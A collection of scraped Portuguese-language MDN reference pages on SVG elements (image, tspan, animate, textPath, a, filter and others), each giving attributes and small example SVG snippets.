{"title":"image - SVG: Gráficos Vetoriais Escaláveis","text":"image\n=====\n\nO elemento SVG **`<image>`** carrega imagens dentro de documentos SVG. Ele pode exibir arquivos raster image (en-US) ou outros arquivos SVG.\n\nThe only image formats SVG software must support are JPEG, PNG (en-US), and other SVG files. Animated GIF (en-US) behavior is undefined.\n\nSVG files displayed with `<image>` are treated as an image (en-US): external resources aren't loaded, :visited styles aren't applied, and they cannot be interactive. To include dynamic SVG elements, try <use> with an external URL. To include SVG files and run scripts inside them, try <object> (en-US) inside of <foreignObject> (en-US).\n\n**Nota:** The HTML spec defines `<image>` as a synonym for <img> while parsing HTML. This specific element and its behavior only apply inside SVG documents or inline SVG (en-US).\n\nUsage context\n-------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento gráfico, Elemento gráfico referenciado |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivos |\n\nAttributes\n----------\n\n### Global attributes\n\n* Conditional processing attributes\n* Core attributes\n* Graphical event attributes\n* Presentation attributes\n* Xlink attributes\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Specific attributes\n\n* `x (en-US)`: Positions the image horizontally from the origin.\n* `y (en-US)`: Positions the image vertically from the origin.\n* `width`: The width the image renders at. Unlike HTML's `<img>`, this attribute is required.\n* `height (en-US)`: The height the image renders at. Unlike HTML's `<img>`, this attribute is required.\n* `href (en-US)` and `xlink:href (en-US)`: Points at a URL for the image file.\n* `preserveAspectRatio`: Controls how the image is scaled.\nDOM Interface\n-------------\n\n`<image>` implements the `SVGImageElement` (en-US) interface.\n\nExample\n-------\n\nBasic rendering of a PNG image in SVG:\n\n### SVG\n\n\n```html\n<svg\n width=\"200\"\n height=\"200\"\n xmlns=\"https://www.w3.org/2000/svg\"\n xmlns:xlink=\"https://www.w3.org/1999/xlink\">\n  <image href=\"mdn\\_logo\\_only\\_color.png\" height=\"200\" width=\"200\" />\n</svg>\n```\n\n### Result\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # ImageElement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"radialGradient - SVG: Gráficos Vetoriais Escaláveis","text":"radialGradient\n==============\n\n`radialGradient` permite que autores definam gradientes radiais para preencher ou tracejar elementos gráficos\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento gradiente |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos`<animate>`, `<animateTransform>`, `<set>`, `<stop>` |\n\nExemplo\n-------\n\n» radialGradient.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos de apresentação »\n* Atributos XLink »\n* `class`\n* `style`\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `gradientUnits (en-US)`\n* `gradientTransform (en-US)`\n* `cx (en-US)`\n* `cy (en-US)`\n* `r (en-US)`\n* `fx (en-US)`\n* `fy (en-US)`\n* `spreadMethod (en-US)`\n* `xlink:href (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGRadialGradientElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nRelacionado\n-----------\n\n* `<linearGradient>`"}
{"title":"tspan - SVG: Gráficos Vetoriais Escaláveis","text":"tspan\n=====\n\nO elemento SVG **`<tspan>`** define um subtexto dentro de um elemento `<text>` ou outro elemento `<tspan>`. Permite o ajuste do estilo e / ou posição desse subtexto, conforme necessário.\n```\n\nhtml,\nbody,\nsvg {\n  height: 100%;\n}\n```\n\n\n\n```html\n<svg viewBox=\"0 0 240 40\" xmlns=\"https://www.w3.org/2000/svg\">\n  <style>\n text {\n font: italic 12px serif;\n }\n tspan {\n font: bold 10px sans-serif;\n fill: red;\n }\n </style>\n\n  <text x=\"10\" y=\"30\" class=\"small\">\n    You are\n    <tspan>not</tspan>\n    a banana!\n  </text>\n</svg>\n```\n\nAttributes\n----------\n\n`x (en-US)`\n\n The x coordinate of the starting point of the text baseline.\n *Value type*: **<length>**|**<percentage>** ; *Default value: none; Animatable*: **yes**\n\n`y (en-US)`\n\n The y coordinate of the starting point of the text baseline.\n *Value type*: **<length>**|**<percentage>** ; *Default value: none; Animatable*: **yes**\n\n`dx (en-US)`\n\n Shifts the text position horizontally from a previous text element.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: *none*; *Animatable*: **yes**\n\n`dy (en-US)`\n\n Shifts the text position vertically from a previous text element.\n *Value type*: **<length>**|**<percentage>** ; *Default value: none; Animatable*: **yes**\n\n`rotate (en-US)`\n\n Rotates orientation of each individual glyph. Can rotate glyphs individually.\n *Value type*: **<list-of-number>** ; *Default value*: none; *Animatable*: **yes**\n\n`lengthAdjust (en-US)`\n\n How the text is stretched or compressed to fit the width defined by the `textLength` attribute.\n *Value type*: `spacing`|`spacingAndGlyphs`; *Default value*: `spacing`; *Animatable*: **yes**\n\n`textLength (en-US)`\n\n A width that the text should be scaled to fit.\n *Value type*: **<length>**|**<percentage>** ; *Default value*: *none*; *Animatable*: **yes**\n\n### Global attributes\n\nCore Attributes\n\nMost notably: `id (en-US)`, `tabindex (en-US)`\n\nStyling Attributes\n`class`, `style`\nConditional Processing Attributes\n\nMost notably: `requiredExtensions`, `systemLanguage (en-US)`\n\nEvent Attributes\n\nGlobal event attributes, Graphical event attributes\n\nPresentation Attributes\n\nMost notably: `clip-path (en-US)`, `clip-rule (en-US)`, `color (en-US)`, `color-interpolation (en-US)`, `color-rendering`, `cursor (en-US)`, `display (en-US)`, `dominant-baseline (en-US)`, `fill`, `fill-opacity (en-US)`, `fill-rule (en-US)`, `filter (en-US)`, `mask (en-US)`, `opacity (en-US)`, `pointer-events (en-US)`, `shape-rendering (en-US)`, `stroke (en-US)`, `stroke-dasharray (en-US)`, `stroke-dashoffset`, `stroke-linecap (en-US)`, `stroke-linejoin (en-US)`, `stroke-miterlimit (en-US)`, `stroke-opacity (en-US)`, `stroke-width (en-US)`, `text-anchor (en-US)`, `transform (en-US)`, `vector-effect (en-US)`, `visibility (en-US)`\n\nAria Attributes\n\n`aria-activedescendant`, `aria-atomic`, `aria-autocomplete`, `aria-busy`, `aria-checked`, `aria-colcount`, `aria-colindex`, `aria-colspan`, `aria-controls`, `aria-current`, `aria-describedby`, `aria-details`, `aria-disabled`, `aria-dropeffect`, `aria-errormessage`, `aria-expanded`, `aria-flowto`, `aria-grabbed`, `aria-haspopup`, `aria-hidden`, `aria-invalid`, `aria-keyshortcuts`, `aria-label`, `aria-labelledby`, `aria-level`, `aria-live`, `aria-modal`, `aria-multiline`, `aria-multiselectable`, `aria-orientation`, `aria-owns`, `aria-placeholder`, `aria-posinset`, `aria-pressed`, `aria-readonly`, `aria-relevant`, `aria-required`, `aria-roledescription`, `aria-rowcount`, `aria-rowindex`, `aria-rowspan`, `aria-selected`, `aria-setsize`, `aria-sort`, `aria-valuemax`, `aria-valuemin`, `aria-valuenow`, `aria-valuetext`, `role`\n\nUsage notes\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de conteúdo textual, Elemento filho de conteúdo textual |\n| Conteúdo permitido | Dados de caracteres e qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos`<a>`, `<animate>`, `<set>`, `<tref>`, `<tspan>` |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # TextElement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"animate - SVG: Gráficos Vetoriais Escaláveis","text":"animate\n=======\n\nO elemento SVG **`<animate>`** fornece uma maneira de animar um atributo de um elemento ao longo do tempo.\n```\n\nhtml,\nbody,\nsvg {\n  height: 100%;\n  margin: 0;\n  padding: 0;\n}\n```\n\n\n\n```html\n<svg viewBox=\"0 0 10 10\" xmlns=\"https://www.w3.org/2000/svg\">\n  <rect width=\"10\" height=\"10\">\n    <animate\n attributeName=\"rx\"\n values=\"0;5;0\"\n dur=\"10s\"\n repeatCount=\"indefinite\" />\n  </rect>\n</svg>\n```\n\nAttributes\n----------\n\n### Animation Attributes\n\nAnimation timing attributes\n`begin (en-US)`, `dur (en-US)`, `end (en-US)`, `min (en-US)`, `max (en-US)`, `restart (en-US)`, `repeatCount (en-US)`, `repeatDur (en-US)`, `fill`\nAnimation value attributes\n`calcMode (en-US)`, `values (en-US)`, `keyTimes`, `keySplines (en-US)`, `from (en-US)`, `to (en-US)`, `by (en-US)`\nOther Animation attributes\n\nMost notably: `attributeName (en-US)`, `additive (en-US)`, `accumulate (en-US)`\n\nAnimation event attributes\n\nMost notably: `onbegin`, `onend`, `onrepeat`\n\n### Global attributes\n\nCore Attributes\n\nMost notably: `id (en-US)`\n\nStyling Attributes\n`class`, `style`\nEvent Attributes\n\nGlobal event attributes, Document element event attributes\n\nUsage notes\n-----------\n\nThis element implements the `SVGAnimateElement` (en-US) interface.\n\nAccessibility concerns\n----------------------\n\nBlinking and flashing animation can be problematic for people with cognitive concerns such as Attention Deficit Hyperactivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity.\n\nConsider providing a mechanism for pausing or disabling animation, as well as using the Reduced Motion Media Query (en-US) to create a complimentary experience for users who have expressed a preference for no animated experiences.\n\n* Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article\n* An Introduction to the Reduced Motion Media Query | CSS-Tricks\n* Responsive Design for Motion | WebKit\n* MDN Understanding WCAG, Guideline 2.2 explanations (en-US)\n* Understanding Success Criterion 2.2.2 | W3C Understanding WCAG 2.0\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| SVG Animations Level 2 # AnimateElement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"textPath - SVG: Gráficos Vetoriais Escaláveis","text":"textPath\n========\n\nAssim como o texto escrito em uma linha reta, o SVG também inclui a capacidade de colocar um texto ao longo de uma forma de um elemento `<path>`. Para especificar que um bloco de texto é renderizado ao longo da forma de um `<path>`, inclua o texto em um elemento `textPath` o qual inclui um atributo `xlink:href` com uma referência a um elemento `<path>`.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de conteúdo textual, Elemento filho de conteúdo textual |\n| Conteúdo permitido | Dados de caracteres e qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos`<a>`, `<animate>`, `<set>`, `<tref>`, `<tspan>` |\n\nExemplo\n-------\n\n\n```html\n<svg\n width=\"100%\"\n height=\"100%\"\n viewBox=\"0 0 1000 300\"\n xmlns=\"https://www.w3.org/2000/svg\"\n xmlns:xlink=\"https://www.w3.org/1999/xlink\">\n  <defs>\n    <path\n id=\"MyPath\"\n d=\"M 100 200\n C 200 100 300 0 400 100\n C 500 200 600 300 700 200\n C 800 100 900 100 900 100\" />\n  </defs>\n\n  <use xlink:href=\"#MyPath\" fill=\"none\" stroke=\"red\" />\n\n  <text font-family=\"Verdana\" font-size=\"42.5\">\n    <textPath xlink:href=\"#MyPath\">\n      Nós vamos para cima, para baixo, para cima\n    </textPath>\n  </text>\n\n  <!-- Show outline of the viewport using 'rect' element -->\n  <rect\n x=\"1\"\n y=\"1\"\n width=\"998\"\n height=\"298\"\n fill=\"none\"\n stroke=\"black\"\n stroke-width=\"2\" />\n</svg>\n```\n\n\nResultado:\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* Atributos XLink »\n* `class`\n* `style`\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `startOffset (en-US)`\n* `method (en-US)`\n* `spacing (en-US)`\n* `xlink:href (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGTextPathElement`."}
{"title":"mpath - SVG: Gráficos Vetoriais Escaláveis","text":"mpath\n=====\n\nO sub elemento `mpath` do elemento `<animateMotion>` fornece a habilidade de referenciar um elemento externo `<path>` como uma definição de um caminho de movimento.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de animação |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos |\n\nExemplo\n-------\n\n\n```html\n<svg\n width=\"100%\"\n height=\"100%\"\n viewBox=\"0 0 500 300\"\n xmlns=\"https://www.w3.org/2000/svg\"\n xmlns:xlink=\"https://www.w3.org/1999/xlink\">\n  <rect\n x=\"1\"\n y=\"1\"\n width=\"498\"\n height=\"298\"\n fill=\"none\"\n stroke=\"blue\"\n stroke-width=\"2\" />\n\n  <!-- Desenha o contorno da trajetória de movimento em azul, ao longo, com três pequenos círculos: inicio, meio e fim. -->\n  <path\n id=\"path1\"\n d=\"M100,250 C 100,50 400,50 400,250\"\n fill=\"none\"\n stroke=\"blue\"\n stroke-width=\"7.06\" />\n  <circle cx=\"100\" cy=\"250\" r=\"17.64\" fill=\"blue\" />\n  <circle cx=\"250\" cy=\"100\" r=\"17.64\" fill=\"blue\" />\n  <circle cx=\"400\" cy=\"250\" r=\"17.64\" fill=\"blue\" />\n\n  <!-- Aqui temos um triângulo que andará sobre o caminho do movimento.\n Define-se com uma orientação vertical com base no triângulo horizontalmente centralizado logo acima da origem. -->\n  <path\n d=\"M-25,-12.5 L25,-12.5 L 0,-87.5 z\"\n fill=\"yellow\"\n stroke=\"red\"\n stroke-width=\"7.06\">\n    <!-- Define o caminho de movimento da animação -->\n    <animateMotion dur=\"6s\" repeatCount=\"indefinite\" rotate=\"auto\">\n      <mpath xlink:href=\"#path1\" />\n    </animateMotion>\n  </path>\n</svg>\n```\n\n\nResultado:\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos XLink »\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `xlink:href (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGMPathElement`.\n\nRelacionado\n-----------\n\n* `<animateMotion>`"}
{"title":"defs - SVG: Gráficos Vetoriais Escaláveis","text":"defs\n====\n\nA especificação do SVG permite que objetos gráficos sejam definidos para reuso posteriormente. Recomenda-se que, sempre que possível, os elementos referenciados sejam definidos dentro da tag `defs`. A definição destes elementos dentro de uma tag `defs` promove o entendimento do conteúdo do SVG e, consequentemente, promove a acessibilidade. Elementos gráficos definidos dentro da tag `defs` não serão diretamente renderizados. Você pode utilizar a tag `<use>` para renderizar tais elementos na janela de visualização.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento recipiente, elemento estrutural |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nExemplo\n-------\n\n\n```xml\n<svg width=\"80px\" height=\"30px\" viewBox=\"0 0 80 30\"\n xmlns=\"https://www.w3.org/2000/svg\">\n\n  <defs>\n    <linearGradient id=\"Gradient01\">\n      <stop offset=\"20%\" stop-color=\"#39F\" />\n      <stop offset=\"90%\" stop-color=\"#F3F\" />\n    </linearGradient>\n  </defs>\n\n  <rect x=\"10\" y=\"10\" width=\"60\" height=\"10\"\n fill=\"url(#Gradient01)\" />\n</svg>\n```\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos centrais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n*Não existem atributos específicos.*\n\nDOM Interface\n-------------\n\nEste elemento implementa a interface `SVGDefsElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<use>`"}
{"title":"polygon - SVG: Gráficos Vetoriais Escaláveis","text":"polygon\n=======\n\nO elemento `polygon` define uma forma fechada que consiste em um conjunto de segmentos de linha reta reta ligados.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento básico de forma, Elemento gráfico, Elemento de forma |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivos |\n\nExemplo\n-------\n\n» polygon.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos gráficos »\n* Atributos de apresentação »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `transform (en-US)`\n### Atributos específicos\n\n* `points (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGPolygonElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nRelacionado\n-----------\n\n* `<polyline>`"}
{"title":"a - SVG: Gráficos Vetoriais Escaláveis","text":"a\n=\n\nO elemento **<a>** do SVG cria um hiperlink para outras páginas da web, arquivos, locais na mesma página, endereços de email ou qualquer outra URL. É muito semelhante ao elemento `<a>` do HTML.\n\nO elemento `<a>` do SVG é um contêiner, o que significa que você pode criar um link em torno do texto (como em HTML), mas também em torno de qualquer elemento.\n```\n\n@namespace svg url(https://www.w3.org/2000/svg);\nhtml,\nbody,\nsvg {\n  height: 100%;\n}\n```\n\n\n\n```html\n<svg viewBox=\"0 0 100 100\" xmlns=\"https://www.w3.org/2000/svg\">\n  <!-- A link around a shape -->\n  <a href=\"/docs/Web/SVG/Element/circle\">\n    <circle cx=\"50\" cy=\"40\" r=\"35\" />\n  </a>\n\n  <!-- A link around a text -->\n  <a href=\"/docs/Web/SVG/Element/text\">\n    <text x=\"50\" y=\"90\" text-anchor=\"middle\">&lt;circle&gt;</text>\n  </a>\n</svg>\n```\n\n\n\n```css\n/\\* As SVG does not provide a default visual style for links,\n it's considered best practice to add some \\*/\n\n@namespace svg url(https://www.w3.org/2000/svg);\n/\\* Necessary to select only SVG <a> elements, and not also HTML’s.\n See warning below \\*/\n\nsvg|a:link,\nsvg|a:visited {\n  cursor: pointer;\n}\n\nsvg|a text,\ntext svg|a {\n  fill: blue; /\\* Even for text, SVG uses fill over color \\*/\n  text-decoration: underline;\n}\n\nsvg|a:hover,\nsvg|a:active {\n  outline: dotted 1px blue;\n}\n```\n\n\n**Aviso:** Como esse elemento compartilha seu nome de tag com o elemento `<a>` do HTML, selecionar `a` com CSS ou `querySelector`, pode ser aplicar ao tipo errado de elemento. Experimente usar a regra @namespace (en-US) para distinguir os dois.\n\nAttributes\n----------\n\n`download` \nExperimental\n\n Instructs browsers to download a URL instead of navigating to it, so the user will be prompted to save it as a local file.\n *Value type*: **<string>** ; *Default value*: *none*; *Animatable*: **no**\n\n`href (en-US)`\n\n The URL or URL fragment the hyperlink points to.\n *Value type*: **<URL>** ; *Default value*: *none*; *Animatable*: **yes**\n\n`hreflang`\n\n The human language of the URL or URL fragment that the hyperlink points to.\n *Value type*: **<string>** ; *Default value*: *none*; *Animatable*: **yes**\n\n`ping` \nExperimental\n\n A space-separated list of URLs to which, when the hyperlink is followed, `POST` requests with the body `PING` will be sent by the browser (in the background). Typically used for tracking. For a more widely-supported feature addressing the same use cases, see Navigator.sendBeacon() (en-US).\n *Value type*: **<list-of-URLs>** ; *Default value*: *none*; *Animatable*: **no**\n\n`referrerpolicy` \nExperimental\n\n Which referrer to send when fetching the URL.\n *Value type*: `no-referrer`|`no-referrer-when-downgrade`|`same-origin`|`origin`|`strict-origin`|`origin-when-cross-origin`|`strict-origin-when-cross-origin`|`unsafe-url` ; *Default value*: *none*; *Animatable*: **no**\n\n`rel` \nExperimental\n\n The relationship of the target object to the link object.\n *Value type*: **<list-of-Link-Types>** ; *Default value*: *none*; *Animatable*: **yes**\n\n`target (en-US)`\n\n Where to display the linked URL.\n *Value type*: `_self`|`_parent`|`_top`|`_blank`|**<name>** ; *Default value*: `_self`; *Animatable*: **yes**\n\n`type`\n\n A MIME type (en-US) for the linked URL.\n *Value type*: **<string>** ; *Default value*: *none*; *Animatable*: **yes**\n\n`xlink:href (en-US)` \nDeprecated\n\n The URL or URL fragment that the hyperlink points to. May be required for backwards compatibility for older browsers.\n *Value type*: **<URL>** ; *Default value*: *none*; *Animatable*: **yes**\n\n### Global attributes\n\nCore Attributes\n\nMost notably: `id (en-US)`, `lang (en-US)`, `tabindex (en-US)`\n\nStyling Attributes\n`class`, `style`\nConditional Processing Attributes\n\nMost notably: `requiredExtensions`, `systemLanguage (en-US)`\n\nEvent Attributes\n\nGlobal event attributes, Document element event attributes, Graphical event attributes\n\nPresentation Attributes\n\nMost notably: `clip-path (en-US)`, `clip-rule (en-US)`, `color (en-US)`, `color-interpolation (en-US)`, `color-rendering`, `cursor (en-US)`, `display (en-US)`, `fill`, `fill-opacity (en-US)`, `fill-rule (en-US)`, `filter (en-US)`, `mask (en-US)`, `opacity (en-US)`, `pointer-events (en-US)`, `shape-rendering (en-US)`, `stroke (en-US)`, `stroke-dasharray (en-US)`, `stroke-dashoffset`, `stroke-linecap (en-US)`, `stroke-linejoin (en-US)`, `stroke-miterlimit (en-US)`, `stroke-opacity (en-US)`, `stroke-width (en-US)`, `transform (en-US)`, `vector-effect (en-US)`, `visibility (en-US)`\n\nXLink Attributes\n\nMost notably: `xlink:title (en-US)`\n\nARIA Attributes\n\n`aria-activedescendant`, `aria-atomic`, `aria-autocomplete`, `aria-busy`, `aria-checked`, `aria-colcount`, `aria-colindex`, `aria-colspan`, `aria-controls`, `aria-current`, `aria-describedby`, `aria-details`, `aria-disabled`, `aria-dropeffect`, `aria-errormessage`, `aria-expanded`, `aria-flowto`, `aria-grabbed`, `aria-haspopup`, `aria-hidden`, `aria-invalid`, `aria-keyshortcuts`, `aria-label`, `aria-labelledby`, `aria-level`, `aria-live`, `aria-modal`, `aria-multiline`, `aria-multiselectable`, `aria-orientation`, `aria-owns`, `aria-placeholder`, `aria-posinset`, `aria-pressed`, `aria-readonly`, `aria-relevant`, `aria-required`, `aria-roledescription`, `aria-rowcount`, `aria-rowindex`, `aria-rowspan`, `aria-selected`, `aria-setsize`, `aria-sort`, `aria-valuemax`, `aria-valuemin`, `aria-valuenow`, `aria-valuetext`, `role`\n\nUsage notes\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento recipiente |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # Links |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"missing-glyph - SVG: Gráficos Vetoriais Escaláveis","text":"missing-glyph\n=============\n\nO conteúdo do `missing-glyph` é renderizado se, para um determinado caractere, não foi determinado um `<glyph>` apropriado.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Nenhum |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nExemplo\n-------\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos de apresentação »\n* `class`\n* `style`\n### Atributos específicos\n\n* `d (en-US)`\n* `horiz-adv-x (en-US)`\n* `vert-origin-x (en-US)`\n* `vert-origin-y (en-US)`\n* `vert-adv-y (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGMissingGlyphElement`.\n\nRelacionado\n-----------\n\n* `<font>` (en-US)\n* `<glyph>`\n* SVG tutorial: SVG fonts"}
{"title":"pattern - SVG: Gráficos Vetoriais Escaláveis","text":"pattern\n=======\n\nUm padrão é utilizado para preenchimento ou traçado de um objeto utilizando um objeto gráfico pré-definido o qual pode ser replicado (\"ladrilhado\") com intervalos fixados em x e y para cobrir as áreas que serão pintadas. Padrões são definidos utilizando o elemento `pattern` e, em seguida, referenciado pelas propriedades `fill` e `stroke` em um determinado elemento gráfico para indicar que o elemento em questão deveria ser preenchido ou traçado com o padrão referenciado.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento recipiente |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos de animaçãoElementos descritivosElementos de formaElementos estruturaisElementos de gradiente`<a>`, `<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<font>` (en-US), `<font-face>` (en-US), `<foreignObject>` (en-US), `<image>`, `<marker>`, `<mask>`, `<pattern>`, `<script>`, `<style>`, `<switch>`, `<text>`, `<view>` |\n\nExemplo\n-------\n\n» pattern.svg\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de apresentação »\n* Atributos XLink »\n* `class`\n* `style`\n* `externalResourcesRequired`\n* `viewBox (en-US)`\n### Atributos específicos\n\n* `patternUnits (en-US)`\n* `patternContentUnits (en-US)`\n* `patternTransform (en-US)`\n* `x (en-US)`\n* `y (en-US)`\n* `width`\n* `height (en-US)`\n* `xlink:href (en-US)`\n* `preserveAspectRatio`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGPatternElement`."}
{"title":"filter - SVG: Gráficos Vetoriais Escaláveis","text":"filter\n======\n\nO elemento `filter` fornece um recipiente para operações de um filtro atômico . Isso nunca será renderizado diretamente. Um filtro é referenciado pela utilização do atributo `filter (en-US)` com destino de um elemento SVG.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Nenhum |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivosElementos de filtro primitivo`<animate>`, `<set>` |\n\nExemplo\n-------\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos principais »\n* Atributos de apresentação »\n* Atributos XLink »\n* `class`\n* `style`\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `x (en-US)`\n* `y (en-US)`\n* `width`\n* `height (en-US)`\n* `filterRes`\n* `filterUnits (en-US)`\n* `primitiveUnits (en-US)`\n* `xlink:href (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGFilterElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<feBlend>` (en-US)\n* `<feColorMatrix>` (en-US)\n* `<feComponentTransfer>` (en-US)\n* `<feComposite>` (en-US)\n* `<feConvolveMatrix>` (en-US)\n* `<feDiffuseLighting>` (en-US)\n* `<feDisplacementMap>` (en-US)\n* `<feFlood>` (en-US)\n* `<feGaussianBlur>` (en-US)\n* `<feImage>` (en-US)\n* `<feMerge>` (en-US)\n* `<feMorphology>` (en-US)\n* `<feOffset>` (en-US)\n* `<feSpecularLighting>` (en-US)\n* `<feTile>` (en-US)\n* `<feTurbulence>` (en-US)\n* Tutorial SVG: Efeitos de filtros"}
{"title":"set - SVG: Gráficos Vetoriais Escaláveis","text":"set\n===\n\nO elemento `set` fornece um meio simples para apenas definir o valor de um atributo para uma duração específica. Todos os tipos de atributos são suportados, incluindo aqueles que não podem ser razoavelmente interpolado, como uma string ou valores booleanos. O elemento `set` não é aditivo. Atributos aditivos e acumulados não são permitidos e serão ignorados se especificado.\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categorias | Elemento de animação |\n| Conteúdo permitido | Qualquer número dos seguintes elementos, em qualquer ordem:Elementos descritivos |\n\nExemplo\n-------\n\nAtributos\n---------\n\n### Atributos globais\n\n* Atributos de processamento condicional »\n* Atributos principais »\n* Atributos de eventos da animação »\n* Atributos XLink »\n* Atributos de destino do atributo da animação »\n* Atributos de cronometragem da animação »\n* `externalResourcesRequired`\n### Atributos específicos\n\n* `to (en-US)`\nInterface DOM\n-------------\n\nEste elemento implementa a interface do `SVGSetElement`.\n\nVeja também\n-----------\n\n* `<animate>`"}
